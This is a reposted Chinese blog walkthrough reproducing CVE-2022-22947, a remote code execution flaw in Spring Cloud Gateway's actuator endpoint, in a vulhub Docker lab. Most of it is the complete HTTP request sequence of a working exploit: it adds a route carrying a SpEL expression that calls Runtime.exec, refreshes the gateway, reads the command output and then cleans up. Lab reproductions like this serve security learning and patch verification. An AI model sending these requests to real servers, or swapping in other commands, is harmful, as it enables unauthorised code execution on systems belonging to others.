ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

spring_cloud_rce(CVE-2022-22947)漏洞复现

2022-03-19 21:03:31  阅读:619  来源: 互联网

标签:spring Accept Content 537.36 22947 2022 Spring Gateway Cloud


漏洞简介

Spring Cloud Gateway 提供了一个库,用于在 Spring WebFlux 之上构建 API 网关。

在 3.1.0 和 3.0.6 之前的版本中使用 Spring Cloud Gateway 的应用程序在启用、暴露和不安全的 Gateway Actuator 端点时容易受到代码注入攻击。远程攻击者可以发出恶意制作的请求,允许在远程主机上进行任意远程执行。

影响版本

Spring Cloud Gateway < 3.1.1
Spring Cloud Gateway < 3.0.7
Spring Cloud Gateway 其他已不再更新的版本

环境搭建

更新vulhub

git pull

执行以下命令启动使用 Spring Cloud Gateway 3.1.0 的服务器

docker-compose up -d

在这里插入图片描述

漏洞复现

1.发送以下请求以添加包含恶意 SpEL 表达式的路由器

POST /actuator/gateway/routes/3tefanie HTTP/1.1
Host: your_ip:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 329

{
  "id": "3tefanie",
  "filters": [{
    "name": "AddResponseHeader",
    "args": {
      "name": "Result",
      "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"
    }
  }],
  "uri": "http://example.com"
}

在这里插入图片描述

2.刷新网关,SpEL 表达式将在此时执行

POST /actuator/gateway/refresh HTTP/1.1
Host: your_ip:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

在这里插入图片描述

3.发送以下请求查看执行结果

GET /actuator/gateway/routes/3tefanie HTTP/1.1
Host: your_ip:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

在这里插入图片描述

4.发送一个 DELETE 请求来删除我们的恶意路由、

DELETE /actuator/gateway/routes/3tefanie HTTP/1.1
Host: your_ip:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close

5.刷新网关

POST /actuator/gateway/refresh HTTP/1.1
Host: your_ip:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

【自己觉得不好的事情,就干脆不要有第一次,一次也不要做,一小步也不能走出去,要不然回头来看,吃亏吃苦的还是自己。】

标签:spring,Accept,Content,537.36,22947,2022,Spring,Gateway,Cloud
来源: https://blog.csdn.net/luochen2436/article/details/123602517

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有